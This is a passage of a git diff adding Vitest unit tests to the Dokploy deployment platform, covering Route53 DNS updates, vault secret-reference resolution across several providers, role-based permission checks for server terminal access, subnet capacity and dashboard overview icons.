"1.2.3.4", + }); + + expect(result).toEqual({ id: "A:app.example.com" }); + const command = send.mock.calls[0]?.[0] as HasInput; + expect(command.input.HostedZoneId).toBe("Z123"); + expect(command.input.ChangeBatch.Changes).toEqual([ + { + Action: "UPSERT", + ResourceRecordSet: { + Name: "app.example.com.", + Type: "A", + TTL: 300, + ResourceRecords: [{ Value: "1.2.3.4" }], + }, + }, + ]); + }); +}); + +describe("route53Client.updateRecord", () => { + it("only UPSERTs when the name/type identity did not change", async () => { + send.mockResolvedValueOnce({}); + + await route53Client.updateRecord(config, "Z123", "A:app.example.com", { + type: "A", + name: "app.example.com", + content: "9.9.9.9", + }); + + expect(send).toHaveBeenCalledTimes(1); + const command = send.mock.calls[0]?.[0] as HasInput; + expect(command.input.ChangeBatch.Changes).toHaveLength(1); + expect(command.input.ChangeBatch.Changes[0].Action).toBe("UPSERT"); + }); + + it("deletes the old record set and creates the new one on rename", async () => { + const existingSet = { + Name: "old.example.com.", + Type: "A", + TTL: 300, + ResourceRecords: [{ Value: "1.1.1.1" }], + }; + send + .mockResolvedValueOnce({ ResourceRecordSets: [existingSet] }) // findExactRecordSet lookup + .mockResolvedValueOnce({}); // ChangeResourceRecordSets + + await route53Client.updateRecord(config, "Z123", "A:old.example.com", { + type: "A", + name: "new.example.com", + content: "1.1.1.1", + }); + + const changeCommand = send.mock.calls[1]?.[0] as HasInput; + expect(changeCommand.input.ChangeBatch.Changes).toEqual([ + { Action: "DELETE", ResourceRecordSet: existingSet }, + { + Action: "UPSERT", + ResourceRecordSet: { + Name: "new.example.com.", + Type: "A", + TTL: 300, + ResourceRecords: [{ Value: "1.1.1.1" }], + }, + }, + ]); + }); + + it("skips the DELETE when the old record no longer exists", async () => { + send + .mockResolvedValueOnce({ ResourceRecordSets: [] }) + .mockResolvedValueOnce({}); + + await route53Client.updateRecord(config, "Z123", "A:gone.example.com", { + type: "A", + name: "new.example.com", + content: "1.1.1.1", + }); + + const changeCommand = send.mock.calls[1]?.[0] as HasInput; + expect(changeCommand.input.ChangeBatch.Changes).toHaveLength(1); + expect(changeCommand.input.ChangeBatch.Changes[0].Action).toBe("UPSERT"); + }); +}); + +describe("route53Client.deleteRecord", () => { + it("deletes the record set found by name/type", async () => { + const existingSet = { + Name: "app.example.com.", + Type: "A", + TTL: 300, + ResourceRecords: [{ Value: "1.2.3.4" }], + }; + send.mockResolvedValueOnce({ ResourceRecordSets: [existingSet] }); + send.mockResolvedValueOnce({}); + + await route53Client.deleteRecord(config, "Z123", "A:app.example.com"); + + const changeCommand = send.mock.calls[1]?.[0] as HasInput; + expect(changeCommand.input.ChangeBatch.Changes).toEqual([ + { Action: "DELETE", ResourceRecordSet: existingSet }, + ]); + }); + + it("throws when the record no longer exists", async () => { + send.mockResolvedValueOnce({ ResourceRecordSets: [] }); + + await expect( + route53Client.deleteRecord(config, "Z123", "A:gone.example.com"), + ).rejects.toThrow("not found"); + }); + + it("throws for a malformed record id", async () => { + await expect( + route53Client.deleteRecord(config, "Z123", "not-a-valid-id"), + ).rejects.toThrow("Invalid Route53 record id"); + }); +}); + +describe("route53Client.testConnection", () => { + it("resolves when ListHostedZones succeeds", async () => { + send.mockResolvedValueOnce({ HostedZones: [] }); + await expect(route53Client.testConnection(config)).resolves.toBeUndefined(); + }); + + it("propagates SDK errors", async () => { + send.mockRejectedValueOnce(new Error("InvalidClientTokenId")); + await expect(route53Client.testConnection(config)).rejects.toThrow( + "InvalidClientTokenId", + ); + }); +}); diff --git a/apps/dokploy/__test__/env/vault.test.ts b/apps/dokploy/__test__/env/vault.test.ts new file mode 100644 index 000000000..a9e18526c --- /dev/null +++ b/apps/dokploy/__test__/env/vault.test.ts @@ -0,0 +1,618 @@ +import { beforeEach, describe, expect, it, vi } from "vitest"; + +const findMany = vi.fn(); + +vi.mock("@dokploy/server/db", () => ({ + db: { + query: { + vaultProvider: { + findMany: (...args: unknown[]) => findMany(...args), + }, + }, + }, +})); + +import { prepareEnvironmentVariables } from "@dokploy/server/utils/docker/utils"; +import { + resolveVaultReferences, + withResolvedVaultRefs, +} from "@dokploy/server/utils/vault"; +import { azureClient } from "@dokploy/server/utils/vault/azure"; +import { dopplerClient } from "@dokploy/server/utils/vault/doppler"; +import { hashicorpClient } from "@dokploy/server/utils/vault/hashicorp"; +import { scalewayClient } from "@dokploy/server/utils/vault/scaleway"; + +const mockFetch = vi.fn(); +global.fetch = mockFetch as typeof fetch; + +const jsonResponse = (body: unknown, ok = true, status = 200) => + ({ + ok, + status, + json: async () => body, + }) as Response; + +beforeEach(() => { + findMany.mockReset(); + mockFetch.mockReset(); +}); + +const scope = { + organizationId: "org-1", + projectId: "proj-1", + environmentId: "env-1", +}; + +const assignedEverywhere = [{ projectId: "proj-1", environmentIds: [] }]; + +describe("resolveVaultReferences", () => { + it("returns input untouched and skips the db when no refs are present", async () => { + const env = "FOO=bar\nBAZ=${{project.QUX}}"; + const result = await resolveVaultReferences(env, scope); + expect(result).toBe(env); + expect(findMany).not.toHaveBeenCalled(); + }); + + it("returns null/empty inputs unchanged", async () => { + expect(await resolveVaultReferences(null, scope)).toBeNull(); + expect(await resolveVaultReferences("", scope)).toBe(""); + }); + + it("throws when refs exist but no organization context is given", async () => { + await expect( + resolveVaultReferences("FOO=${{vault.prod.SECRET}}"), + ).rejects.toThrow("not supported in this context"); + }); + + it("throws for an unknown provider", async () => { + findMany.mockResolvedValue([]); + await expect( + resolveVaultReferences("FOO=${{vault.missing.SECRET}}", scope), + ).rejects.toThrow('Vault provider "missing" not found'); + }); + + it("throws when the provider is not assigned to the project", async () => { + findMany.mockResolvedValue([ + { + name: "prod", + providerType: "doppler", + config: { providerType: "doppler", serviceToken: "dp.st.token" }, + assignments: [{ projectId: "other-project", environmentIds: [] }], + }, + ]); + await expect( + resolveVaultReferences("FOO=${{vault.prod.SECRET}}", scope), + ).rejects.toThrow("not enabled for this project/environment"); + }); + + it("throws when the provider is restricted to another environment", async () => { + findMany.mockResolvedValue([ + { + name: "prod", + providerType: "doppler", + config: { providerType: "doppler", serviceToken: "dp.st.token" }, + assignments: [ + { projectId: "proj-1", environmentIds: ["production-env"] }, + ], + }, + ]); + await expect( + resolveVaultReferences("FOO=${{vault.prod.SECRET}}", scope), + ).rejects.toThrow("not enabled for this project/environment"); + }); + + it("allows a provider restricted to the matching environment", async () => { + findMany.mockResolvedValue([ + { + name: "prod", + providerType: "doppler", + config: { providerType: "doppler", serviceToken: "dp.st.token" }, + assignments: [{ projectId: "proj-1", environmentIds: ["env-1"] }], + }, + ]); + mockFetch.mockResolvedValue(jsonResponse({ SECRET: "value-1" })); + const result = await resolveVaultReferences( + "FOO=${{vault.prod.SECRET}}", + scope, + ); + expect(result).toBe("FOO=value-1"); + }); + + it("resolves refs through a doppler provider", async () => { + findMany.mockResolvedValue([ + { + name: "doppler-prod", + providerType: "doppler", + config: { providerType: "doppler", serviceToken: "dp.st.token" }, + assignments: assignedEverywhere, + }, + ]); + mockFetch.mockResolvedValue( + jsonResponse({ DB_URL: "postgres://real", API_KEY: "key-123" }), + ); + + const result = await resolveVaultReferences( + "DB_URL=${{vault.doppler-prod.DB_URL}}\nAPI_KEY=${{vault.doppler-prod.API_KEY}}", + scope, + ); + + expect(result).toBe("DB_URL=postgres://real\nAPI_KEY=key-123"); + expect(mockFetch).toHaveBeenCalledTimes(1); + }); + + it("throws when the secret is missing in the provider", async () => { + findMany.mockResolvedValue([ + { + name: "doppler-prod", + providerType: "doppler", + config: { providerType: "doppler", serviceToken: "dp.st.token" }, + assignments: assignedEverywhere, + }, + ]); + mockFetch.mockResolvedValue(jsonResponse({ OTHER: "x" })); + + await expect( + resolveVaultReferences("FOO=${{vault.doppler-prod.MISSING}}", scope), + ).rejects.toThrow('secret "MISSING" not found'); + }); +}); + +describe("withResolvedVaultRefs + prepareEnvironmentVariables", () => { + it("resolves entity env sources so sync interpolation sees real values", async () => { + findMany.mockResolvedValue([ + { + name: "prod", + providerType: "doppler", + config: { providerType: "doppler", serviceToken: "dp.st.token" }, + assignments: assignedEverywhere, + }, + ]); + mockFetch.mockResolvedValue(jsonResponse({ DB_PASSWORD: "s3cret" })); + + const entity = { + env: "DATABASE_URL=postgres://user:${{project.DB_PASSWORD}}@db", + environment: { + environmentId: "env-1", + env: null, + project: { + projectId: "proj-1", + env: "DB_PASSWORD=${{vault.prod.DB_PASSWORD}}", + organizationId: "org-1", + }, + }, + }; + + const resolved = await withResolvedVaultRefs(entity); + const prepared = prepareEnvironmentVariables( + resolved.env, + resolved.environment.project.env, + resolved.environment.env, + ); + + expect(prepared).toEqual(["DATABASE_URL=postgres://user:s3cret@db"]); + }); + + it("resolves buildArgs and buildSecrets when present", async () => { + findMany.mockResolvedValue([ + { + name: "prod", + providerType: "doppler", + config: { providerType: "doppler", serviceToken: "dp.st.token" }, + assignments: assignedEverywhere, + }, + ]); + mockFetch.mockResolvedValue(jsonResponse({ NPM_TOKEN: "npm-123" })); + + const resolved = await withResolvedVaultRefs({ + env: "FOO=bar", + buildArgs: "NPM_TOKEN=${{vault.prod.NPM_TOKEN}}", + buildSecrets: null, + environment: { + environmentId: "env-1", + env: null, + project: { projectId: "proj-1", env: null, organizationId: "org-1" }, + }, + }); + + expect(resolved.buildArgs).toBe("NPM_TOKEN=npm-123"); + expect(resolved.buildSecrets).toBeNull(); + expect(resolved.env).toBe("FOO=bar"); + }); + + it.each([ + ["service env", { env: "SECRET=${{vault.locked.X}}" }], + ["environment env", { environmentEnv: "SECRET=${{vault.locked.X}}" }], + ["project env", { projectEnv: "SECRET=${{vault.locked.X}}" }], + ["build args", { buildArgs: "SECRET=${{vault.locked.X}}" }], + ])( + "rejects a ref to an unassigned provider placed in the %s", + async (_source, overrides) => { + findMany.mockResolvedValue([ + { + name: "locked", + providerType: "doppler", + config: { providerType: "doppler", serviceToken: "dp.st.token" }, + assignments: [{ projectId: "other-project", environmentIds: [] }], + }, + ]); + + const entity = { + env: (overrides as { env?: string }).env ?? "FOO=bar", + buildArgs: (overrides as { buildArgs?: string }).buildArgs ?? null, + environment: { + environmentId: "env-1", + env: + (overrides as { environmentEnv?: string }).environmentEnv ?? null, + project: { + projectId: "proj-1", + env: (overrides as { projectEnv?: string }).projectEnv ?? null, + organizationId: "org-1", + }, + }, + }; + + await expect(withResolvedVaultRefs(entity)).rejects.toThrow( + "not enabled for this project/environment", + ); + expect(mockFetch).not.toHaveBeenCalled(); + }, + ); + + it("rejects a ref restricted to another environment from the environment env", async () => { + findMany.mockResolvedValue([ + { + name: "prod-only", + providerType: "doppler", + config: { providerType: "doppler", serviceToken: "dp.st.token" }, + assignments: [ + { projectId: "proj-1", environmentIds: ["production-env"] }, + ], + }, + ]); + + await expect( + withResolvedVaultRefs({ + env: null, + environment: { + environmentId: "dev-env", + env: "SECRET=${{vault.prod-only.X}}", + project: { projectId: "proj-1", env: null, organizationId: "org-1" }, + }, + }), + ).rejects.toThrow("not enabled for this project/environment"); + expect(mockFetch).not.toHaveBeenCalled(); + }); + + it("prepareEnvironmentVariables throws on unresolved vault refs", () => { + expect(() => + prepareEnvironmentVariables("FOO=${{vault.prod.SECRET}}", "", ""), + ).toThrow("Unresolved vault reference"); + }); + + it("keeps working without vault refs", () => { + const prepared = prepareEnvironmentVariables( + "FOO=${{project.BAR}}", + "BAR=baz", + ); + expect(prepared).toEqual(["FOO=baz"]); + expect(findMany).not.toHaveBeenCalled(); + }); +}); + +describe("hashicorp client", () => { + const config = { + providerType: "hashicorp" as const, + url: "https://vault.example.com", + token: "hvs.token", + mount: "secret", + }; + + it("rejects refs without a field", async () => { + await expect( + hashicorpClient.getSecrets(config, ["myapp/prod"]), + ).rejects.toThrow("expected format :"); + }); + + it("groups refs by path and picks fields from KV v2 data", async () => { + mockFetch.mockResolvedValue( + jsonResponse({ data: { data: { USER: "admin", PASS: "pw" } } }), + ); + + const result = await hashicorpClient.getSecrets(config, [ + "myapp/prod:USER", + "myapp/prod:PASS", + ]); + + expect(result).toEqual({ + "myapp/prod:USER": "admin", + "myapp/prod:PASS": "pw", + }); + expect(mockFetch).toHaveBeenCalledTimes(1); + expect(mockFetch.mock.calls[0]?.[0]).toBe( + "https://vault.example.com/v1/secret/data/myapp/prod", + ); + }); + + it("throws when a field is missing", async () => { + mockFetch.mockResolvedValue(jsonResponse({ data: { data: { A: "1" } } })); + await expect( + hashicorpClient.getSecrets(config, ["myapp/prod:MISSING"]), + ).rejects.toThrow('field "MISSING" not found'); + }); + + it("lists full path:field refs by walking directories", async () => { + mockFetch.mockImplementation(async (url: string) => { + if (url.includes("/metadata?list=true")) { + return jsonResponse({ data: { keys: ["myapp/", "shared"] } }); + } + if (url.includes("/metadata/myapp?list=true")) { + return jsonResponse({ data: { keys: ["prod"] } }); + } + if (url.includes("/data/myapp/prod")) { + return jsonResponse({ + data: { data: { API_KEY: "a", DB_PASSWORD: "b" } }, + }); + } + if (url.includes("/data/shared")) { + return jsonResponse({ data: { data: { STRIPE_KEY: "c" } } }); + } + return jsonResponse({}, false, 404); + }); + + const names = await hashicorpClient.listSecretNames?.(config); + + expect(names).toEqual([ + "myapp/prod:API_KEY", + "myapp/prod:DB_PASSWORD", + "shared:STRIPE_KEY", + ]); + }); +}); + +describe("azure client", () => { + const config = { + providerType: "azure" as const, + vaultUri: "https://my-vault.vault.azure.net", + tenantId: "tenant-1", + clientId: "client-1", + clientSecret: "secret-1", + }; + + it("authenticates and reads secrets by name", async () => { + mockFetch.mockImplementation(async (url: string) => { + if (url.includes("login.microsoftonline.com/tenant-1")) { + return jsonResponse({ access_token: "azure-token" }); + } + if (url.includes("/secrets/db-password?")) { + return jsonResponse({ value: "azure-pw" }); + } + return jsonResponse({}, false, 404); + }); + + const result = await azureClient.getSecrets(config, ["db-password"]); + + expect(result).toEqual({ "db-password": "azure-pw" }); + }); + + it("throws a clear error for missing secrets", async () => { + mockFetch.mockImplementation(async (url: string) => { + if (url.includes("login.microsoftonline.com")) { + return jsonResponse({ access_token: "azure-token" }); + } + return jsonResponse({}, false, 404); + }); + + await expect(azureClient.getSecrets(config, ["nope"])).rejects.toThrow( + 'secret "nope" not found', + ); + }); + + it("lists secret names from paged results", async () => { + mockFetch.mockImplementation(async (url: string) => { + if (url.includes("login.microsoftonline.com")) { + return jsonResponse({ access_token: "azure-token" }); + } + if (url.includes("skiptoken")) { + return jsonResponse({ + value: [{ id: `${config.vaultUri}/secrets/second` }], + nextLink: null, + }); + } + return jsonResponse({ + value: [{ id: `${config.vaultUri}/secrets/first` }], + nextLink: `${config.vaultUri}/secrets?api-version=7.4&skiptoken=abc`, + }); + }); + + const names = await azureClient.listSecretNames?.(config); + + expect(names).toEqual(["first", "second"]); + }); +}); + +describe("doppler client", () => { + it("propagates auth errors with the status code", async () => { + mockFetch.mockResolvedValue(jsonResponse({}, false, 401)); + await expect( + dopplerClient.getSecrets( + { providerType: "doppler", serviceToken: "bad" }, + ["FOO"], + ), + ).rejects.toThrow("status 401"); + }); +}); + +describe("scaleway client", () => { + const config = { + providerType: "scaleway" as const, + region: "fr-par", + projectId: "project-1", + secretKey: "scw-secret-key", + apiUrl: "https://api.scaleway.com", + }; + + const accessResponse = (value: string) => + jsonResponse({ + secret_id: "secret-1", + revision: 1, + data: Buffer.from(value).toString("base64"), + }); + + it("reads a secret by name from the root path and decodes the payload", async () => { + mockFetch.mockResolvedValue(accessResponse("postgres://real")); + + const result = await scalewayClient.getSecrets(config, ["db-url"]); + + expect(result).toEqual({ "db-url": "postgres://real" }); + expect(mockFetch).toHaveBeenCalledTimes(1); + const [url, init] = mockFetch.mock.calls[0] as [string, RequestInit]; + expect(url).toBe( + "https://api.scaleway.com/secret-manager/v1beta1/regions/fr-par/secrets-by-path/versions/latest_enabled/access?project_id=project-1&secret_name=db-url&secret_path=%2F", + ); + expect((init.headers as Record)["X-Auth-Token"]).toBe( + "scw-secret-key", + ); + }); + + it("sends the folder of a path-qualified ref as secret_path", async () => { + mockFetch.mockResolvedValue(accessResponse("value")); + + await scalewayClient.getSecrets(config, ["prod/db/password"]); + + expect(mockFetch.mock.calls[0]?.[0]).toContain( + "secret_name=password&secret_path=%2Fprod%2Fdb", + ); + }); + + it("extracts a field from a JSON secret and fetches the secret once", async () => { + mockFetch.mockResolvedValue( + accessResponse(JSON.stringify({ user: "admin", port: 5432 })), + ); + + const result = await scalewayClient.getSecrets(config, [ + "db-creds:user", + "db-creds:port", + ]); + + expect(result).toEqual({ + "db-creds:user": "admin", + "db-creds:port": "5432", + }); + expect(mockFetch).toHaveBeenCalledTimes(1); + }); + + it("throws when the secret is not JSON but a field is requested", async () => { + mockFetch.mockResolvedValue(accessResponse("plain-value")); + + await expect( + scalewayClient.getSecrets(config, ["db-creds:user"]), + ).rejects.toThrow("is not JSON"); + }); + + it("throws when the requested field is missing", async () => { + mockFetch.mockResolvedValue(accessResponse(JSON.stringify({ user: "a" }))); + + await expect( + scalewayClient.getSecrets(config, ["db-creds:password"]), + ).rejects.toThrow('field "password" not found'); + }); + + it("throws a clear error for a missing secret", async () => { + mockFetch.mockResolvedValue( + jsonResponse({ message: "not found" }, false, 404), + ); + + await expect(scalewayClient.getSecrets(config, ["nope"])).rejects.toThrow( + 'secret "nope" not found in path "/"', + ); + }); + + it("reports authentication failures with the API message", async () => { + mockFetch.mockResolvedValue( + jsonResponse({ message: "denied authentication" }, false, 403), + ); + + await expect(scalewayClient.getSecrets(config, ["db-url"])).rejects.toThrow( + "authentication failed (status 403: denied authentication)", + ); + }); + + it("throws when the secret has no enabled version", async () => { + mockFetch.mockResolvedValue(jsonResponse({ secret_id: "secret-1" })); + + await expect(scalewayClient.getSecrets(config, ["db-url"])).rejects.toThrow( + "has no enabled version", + ); + }); + + it("rejects a ref without a secret name", async () => { + await expect(scalewayClient.getSecrets(config, ["prod/"])).rejects.toThrow( + "expected format or /[:field]", + ); + }); + + it("tests the connection against the secrets listing", async () => { + mockFetch.mockResolvedValue(jsonResponse({ secrets: [], total_count: 0 })); + + await scalewayClient.testConnection(config); + + expect(mockFetch.mock.calls[0]?.[0]).toBe( + "https://api.scaleway.com/secret-manager/v1beta1/regions/fr-par/secrets?project_id=project-1&page_size=1", + ); + }); + + it("lists secret names with their folder prefix", async () => { + mockFetch.mockResolvedValue( + jsonResponse({ + secrets: [ + { id: "1", name: "db-url", path: "/" }, + { id: "2", name: "password", path: "/prod/db" }, + ], + total_count: 2, + }), + ); + + const names = await scalewayClient.listSecretNames?.(config); + + expect(names).toEqual(["db-url", "prod/db/password"]); + expect(mockFetch).toHaveBeenCalledTimes(1); + }); + + it("follows pagination until a short page is returned", async () => { + const page = (start: number, size: number) => + jsonResponse({ + secrets: Array.from({ length: size }, (_, index) => ({ + id: String(start + index), + name: `secret-${start + index}`, + path: "/", + })), + }); + mockFetch.mockImplementation(async (url: string) => + url.includes("page=2") ? page(101, 2) : page(1, 100), + ); + + const names = await scalewayClient.listSecretNames?.(config); + + expect(names).toHaveLength(102); + expect(mockFetch).toHaveBeenCalledTimes(2); + }); + + it("resolves env refs end to end through a scaleway provider", async () => { + findMany.mockResolvedValue([ + { + name: "scw-prod", + providerType: "scaleway", + config, + assignments: assignedEverywhere, + }, + ]); + mockFetch.mockResolvedValue(accessResponse("s3cret")); + + const result = await resolveVaultReferences( + "DB_PASSWORD=${{vault.scw-prod.prod/db-password}}", + scope, + ); + + expect(result).toBe("DB_PASSWORD=s3cret"); + }); +}); diff --git a/apps/dokploy/__test__/logs/container-selection.test.ts b/apps/dokploy/__test__/logs/container-selection.test.ts new file mode 100644 index 000000000..d8af2ede4 --- /dev/null +++ b/apps/dokploy/__test__/logs/container-selection.test.ts @@ -0,0 +1,41 @@ +import { describe, expect, it } from "vitest"; +import { resolveContainerSelection } from "@/components/dashboard/docker/logs/utils"; + +const containers = [ + { containerId: "first-container" }, + { containerId: "selected-container" }, +]; + +describe("resolveContainerSelection", () => { + it("selects the first container when no container is selected", () => { + expect(resolveContainerSelection(undefined, containers)).toBe( + "first-container", + ); + }); + + it("preserves a manual selection when refreshed data contains it", () => { + const refreshedContainers = containers.map((container) => ({ + ...container, + })); + + expect( + resolveContainerSelection("selected-container", refreshedContainers), + ).toBe("selected-container"); + }); + + it("falls back to the first container when the selection disappears", () => { + expect(resolveContainerSelection("removed-container", containers)).toBe( + "first-container", + ); + }); + + it("keeps the current selection while container data is loading", () => { + expect(resolveContainerSelection("selected-container", undefined)).toBe( + "selected-container", + ); + }); + + it("clears the selection when no containers are available", () => { + expect(resolveContainerSelection("selected-container", [])).toBeUndefined(); + }); +}); diff --git a/apps/dokploy/__test__/permissions/check-permission.test.ts b/apps/dokploy/__test__/permissions/check-permission.test.ts index b9f19d984..ee0e61d7a 100644 --- a/apps/dokploy/__test__/permissions/check-permission.test.ts +++ b/apps/dokploy/__test__/permissions/check-permission.test.ts @@ -126,6 +126,13 @@ describe("member is denied org-level enterprise resources (CVE: bypass via stati await expect(checkPermission(ctx, { server: ["read"] })).rejects.toThrow(); }); + it("member is denied server.terminal", async () => { + memberToReturn = mockMemberData("member"); + await expect( + checkPermission(ctx, { server: ["terminal"] }), + ).rejects.toThrow(); + }); + it("member is denied registry.create", async () => { memberToReturn = mockMemberData("member"); await expect( diff --git a/apps/dokploy/__test__/permissions/enterprise-only-resources.test.ts b/apps/dokploy/__test__/permissions/enterprise-only-resources.test.ts index bb6f5f18b..970c24d07 100644 --- a/apps/dokploy/__test__/permissions/enterprise-only-resources.test.ts +++ b/apps/dokploy/__test__/permissions/enterprise-only-resources.test.ts @@ -39,6 +39,8 @@ const ENTERPRISE_RESOURCES = [ "logs", "monitoring", "auditLog", + "vaultProvider", + "dnsProvider", ]; describe("enterpriseOnlyResources set", () => { diff --git a/apps/dokploy/__test__/permissions/resolve-permissions.test.ts b/apps/dokploy/__test__/permissions/resolve-permissions.test.ts index c85bde189..b78627ea9 100644 --- a/apps/dokploy/__test__/permissions/resolve-permissions.test.ts +++ b/apps/dokploy/__test__/permissions/resolve-permissions.test.ts @@ -105,6 +105,7 @@ describe("enterprise resources for static roles", () => { const perms = await resolvePermissions(ctx); expect(perms.server.read).toBe(false); + expect(perms.server.terminal).toBe(false); expect(perms.registry.read).toBe(false); expect(perms.certificate.read).toBe(false); expect(perms.destination.read).toBe(false); diff --git a/apps/dokploy/__test__/permissions/server-terminal.test.ts b/apps/dokploy/__test__/permissions/server-terminal.test.ts new file mode 100644 index 000000000..01545f97e --- /dev/null +++ b/apps/dokploy/__test__/permissions/server-terminal.test.ts @@ -0,0 +1,105 @@ +import { beforeEach, describe, expect, it, vi } from "vitest"; + +const mockMemberData = (role: string) => ({ + id: "member-1", + role, + userId: "user-1", + organizationId: "org-1", + accessedProjects: [] as string[], + accessedServices: [] as string[], + accessedEnvironments: [] as string[], + accessedServers: [] as string[], + canCreateProjects: false, + canDeleteProjects: false, + canCreateServices: false, + canDeleteServices: false, + canCreateEnvironments: false, + canDeleteEnvironments: false, + canAccessToTraefikFiles: false, + canAccessToDocker: false, + canAccessToAPI: false, + canAccessToSSHKeys: false, + canAccessToGitProviders: false, + user: { id: "user-1", email: "test@test.com" }, +}); + +let memberToReturn = mockMemberData("deployer"); +let rolesToReturn: { permission: string }[] = []; + +vi.mock("@dokploy/server/db", () => ({ + db: { + query: { + member: { + findFirst: vi.fn(() => Promise.resolve(memberToReturn)), + findMany: vi.fn(() => Promise.resolve([])), + }, + organizationRole: { + findFirst: vi.fn(), + findMany: vi.fn(() => Promise.resolve(rolesToReturn)), + }, + }, + }, +})); + +vi.mock("@dokploy/server/services/proprietary/license-key", () => ({ + hasValidLicense: vi.fn(() => Promise.resolve(true)), +})); + +const { checkPermission, resolvePermissions } = await import( + "@dokploy/server/services/permission" +); + +const ctx = { + user: { id: "user-1" }, + session: { activeOrganizationId: "org-1" }, +}; + +const withPermissions = (permissions: Record) => { + rolesToReturn = [{ permission: JSON.stringify(permissions) }]; +}; + +beforeEach(() => { + vi.clearAllMocks(); + memberToReturn = mockMemberData("deployer"); + rolesToReturn = []; +}); + +describe("server.terminal on custom roles", () => { + it("a role with server.read alone cannot open a terminal", async () => { + withPermissions({ server: ["read"] }); + + await expect( + checkPermission(ctx, { server: ["read"] }), + ).resolves.toBeUndefined(); + await expect( + checkPermission(ctx, { server: ["terminal"] }), + ).rejects.toThrow(); + + const perms = await resolvePermissions(ctx); + expect(perms.server.read).toBe(true); + expect(perms.server.terminal).toBe(false); + }); + + it("a role with server.terminal can open a terminal", async () => { + withPermissions({ server: ["read", "terminal"] }); + + await expect( + checkPermission(ctx, { server: ["terminal"] }), + ).resolves.toBeUndefined(); + + const perms = await resolvePermissions(ctx); + expect(perms.server.terminal).toBe(true); + }); + + it("owner and admin keep terminal access", async () => { + for (const role of ["owner", "admin"]) { + memberToReturn = mockMemberData(role); + await expect( + checkPermission(ctx, { server: ["terminal"] }), + ).resolves.toBeUndefined(); + + const perms = await resolvePermissions(ctx); + expect(perms.server.terminal).toBe(true); + } + }); +}); diff --git a/apps/dokploy/__test__/server/server-health-subnet.test.ts b/apps/dokploy/__test__/server/server-health-subnet.test.ts new file mode 100644 index 000000000..9d0f7f120 --- /dev/null +++ b/apps/dokploy/__test__/server/server-health-subnet.test.ts @@ -0,0 +1,24 @@ +import { getSubnetCapacity } from "@dokploy/server/services/server-health"; +import { describe, expect, test } from "vitest"; + +describe("getSubnetCapacity", () => { + test("returns null for missing/invalid input", () => { + expect(getSubnetCapacity(undefined)).toBeNull(); + expect(getSubnetCapacity("")).toBeNull(); + expect(getSubnetCapacity("10.0.0.0")).toBeNull(); + expect(getSubnetCapacity("not-a-subnet")).toBeNull(); + expect(getSubnetCapacity("10.0.0.0/33")).toBeNull(); + expect(getSubnetCapacity("10.0.0.0/-1")).toBeNull(); + }); + + test("excludes network and broadcast addresses", () => { + expect(getSubnetCapacity("10.0.1.0/24")).toBe(254); + expect(getSubnetCapacity("10.0.0.0/16")).toBe(65534); + expect(getSubnetCapacity("10.99.99.0/30")).toBe(2); + }); + + test("returns 0 for subnets too small to hold a host", () => { + expect(getSubnetCapacity("10.0.0.0/31")).toBe(0); + expect(getSubnetCapacity("10.0.0.0/32")).toBe(0); + }); +}); diff --git a/apps/dokploy/__test__/services/overview-backups-icon.test.ts b/apps/dokploy/__test__/services/overview-backups-icon.test.ts new file mode 100644 index 000000000..ff0d06049 --- /dev/null +++ b/apps/dokploy/__test__/services/overview-backups-icon.test.ts @@ -0,0 +1,113 @@ +import { + getBackupOverviewIcon, + getServiceOverviewIcon, +} from "@dokploy/server/services/overview"; +import { describe, expect, test } from "vitest"; + +describe("getServiceOverviewIcon", () => { + test("returns a db icon for every known DB engine type", () => { + for (const type of [ + "postgres", + "mariadb", + "mysql", + "mongo", + "redis", + "libsql", + ] as const) { + expect(getServiceOverviewIcon({ type, icon: null })).toEqual({ + kind: "db", + engine: type, + }); + } + }); + + test("returns a custom icon for application/compose with a service icon set", () => { + expect( + getServiceOverviewIcon({ + type: "application", + icon: "data:image/png;base64,x", + }), + ).toEqual({ kind: "custom", url: "data:image/png;base64,x" }); + expect( + getServiceOverviewIcon({ + type: "compose", + icon: "data:image/png;base64,y", + }), + ).toEqual({ kind: "custom", url: "data:image/png;base64,y" }); + }); + + test("falls back to a generic icon for application/compose without a service icon", () => { + expect(getServiceOverviewIcon({ type: "application", icon: null })).toEqual( + { + kind: "generic", + type: "application", + }, + ); + expect(getServiceOverviewIcon({ type: "compose", icon: null })).toEqual({ + kind: "generic", + type: "compose", + }); + }); +}); + +describe("getBackupOverviewIcon", () => { + test("returns a db icon for a database backup with a known databaseType", () => { + expect( + getBackupOverviewIcon({ + databaseType: "postgres", + serviceType: null, + serviceOwnerType: "postgres", + }), + ).toEqual({ kind: "db", engine: "postgres" }); + }); + + test("returns a webServer icon for a web-server database backup", () => { + expect( + getBackupOverviewIcon({ + databaseType: "web-server", + serviceType: null, + serviceOwnerType: "web-server", + }), + ).toEqual({ kind: "webServer" }); + }); + + test("returns a db icon for a compose-type backup dumping a known DB engine", () => { + expect( + getBackupOverviewIcon({ + databaseType: "mysql", + serviceType: null, + serviceOwnerType: "compose", + }), + ).toEqual({ kind: "db", engine: "mysql" }); + }); + + test("returns a db icon for a volume backup of a known DB engine service", () => { + expect( + getBackupOverviewIcon({ + databaseType: null, + serviceType: "mongo", + serviceOwnerType: "mongo", + }), + ).toEqual({ kind: "db", engine: "mongo" }); + }); + + test("returns a generic application icon for a volume backup of an application", () => { + expect( + getBackupOverviewIcon({ + databaseType: null, + serviceType: "application", + serviceOwnerType: "application", + }), + ).toEqual({ kind: "generic", type: "application" }); + }); + + test("returns a generic compose icon for a volume backup of a compose service", () => { + expect( + getBackupOverviewIcon({ + databaseType: null, + serviceType: "compose", + serviceOwnerType: "compose", + }), + ).toEqual({ kind: "generic", type: "compose" }); + }); +}); diff --git a/apps/dokploy/__test__/services/overview-domains-sort.test.ts b/apps/dokploy/__test__/services/overview-domains-sort.test.ts new file mode 100644 index 000000000..1e43a22d3 --- /dev/null +++ b/apps/dokploy/__test__/services/overview-domains-sort.test.ts @@ -0,0 +1,79 @@ +import type { OverviewDomain } from "@dokploy/server/services/overview"; +import { sortOverviewDomains } from "@dokploy/server/services/overview"; +import { describe, expect, test } from "vitest"; + +const makeDomain = (overrides: Partial): OverviewDomain => ({ + domainId: "id", + host: "example.com", + path: "/", + port: 3000, + customEntrypoint: null, + https: true, + certificateType: "letsencrypt", + createdAt: "2024-01-01T00:00:00.000Z", + enabled: true, + domainType: "application", + serviceOwnerId: "app", + serviceOwnerType: "application", + serviceName: "App", + projectId: "project", + projectName: "Project", + environmentId: "environment", + environmentName: "Environment", + ...overrides, +}); + +describe("sortOverviewDomains", () => { + test("sorts by createdAt 